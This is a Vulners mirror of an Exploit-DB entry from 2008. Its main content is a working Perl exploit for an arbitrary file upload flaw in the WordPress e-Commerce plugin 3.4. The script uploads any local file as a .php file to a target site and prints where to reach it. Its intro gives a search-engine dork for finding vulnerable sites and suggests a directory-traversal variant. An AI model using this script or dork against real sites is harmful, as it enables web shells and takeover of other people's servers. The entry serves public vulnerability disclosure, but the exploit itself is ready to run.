Lucene search
+L

WordPress Plugin E-Commerce 3.4 - Arbitrary File Upload

🗓️ 29 Oct 2008 00:00:00Reported by t0pP8uZzType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 38 Views

WordPress Plugin E-Commerce 3.4 Arbitrary File Uploa

Related
Code
ReporterTitlePublishedViews
Family
circl
Circl
CVE-2008-6811
29 Oct 200800:00
circl
cve
CVE
CVE-2008-6811
17 May 200916:00
cve
cvelist
Cvelist
CVE-2008-6811
17 May 200916:00
cvelist
euvd
EUVD
EUVD-2008-6771
7 Oct 202500:30
euvd
nvd
NVD
CVE-2008-6811
18 May 200912:00
nvd
patchstack
Patchstack
WordPress e-Commerce Plugin <= 3.4 - Unrestricted File Upload
17 May 200900:00
patchstack
prion
Prion
Unrestricted file upload
18 May 200912:00
prion
wpvulndb
WPVulnDB
e-Commerce <= 3.4 - Arbitrary File Upload Exploit
1 Aug 201400:00
wpvulndb
#!/usr/bin/perl

use warnings;
use strict;
use LWP::UserAgent;
use HTTP::Request::Common;

my $fname = rand(99999) . ".php"; # no int()

print <<INTRO; # messy print i know..
- Wordpress Plugin e-Commerce <= 3.4 Arbitrary File Upload -
            Discovered && Coded by: t0pP8uZz
            Discovered on: 20 October 2008

  Theres no current vulnerabilitys for this plugin, but the
  vulnerability explained here no longer exists in the later
  versions of the plugin, due to a code rewrite.

  In testing this vulnerability, i wrote a scraping content
  program, and found ALOT of vulnerable sites.

  This exploit will upload a selected file to the...
  ... /wp-content/plugins/wp-shopping-cart/ directory.

  If the directory is not writable (rare cases) you can
  mod this exploit and use the insecure GET variable
  "imagedir" to directory traversal.. so you can upload
  in diffrent directorys.

  Contact: irc.rizon.net #sectalk

  Dork: inurl:"/wp-content/plugins/wp-shopping-cart/"

INTRO

print "\nEnter URL(ie: http://site.com/mambo): ";
    chomp(my $url=<STDIN>);

print "\nEnter File Path(path to local file to upload): ";
    chomp(my $file=<STDIN>);

my $ua = LWP::UserAgent->new;
my $re = $ua->request(POST $url . '/wp-content/plugins/wp-shopping-cart/image_processing.php',
                      Content_Type => 'form-data',
                      Content      => [ Submit => "Add", image => [ $file, $fname, Content_Type => 'plain/text' ], ] );

die "Exploit Failed: HTTP POST Failed!" unless $re->is_success;

if($re->content =~ /Fatal error/i) {
    print "Complete! To see if exploit was successfull visit the following URL for your uploaded file.\n";
    print "Uploaded File: " . $url . "/wp-content/plugins/wp-shopping-cart/" . $fname . "\n";
} else
{
    print "Exploit Failed! Target host not vulnerable!\n";
}
exit;

# milw0rm.com [2008-10-29]

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

29 Oct 2008 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 26.8
EPSS0.07097
38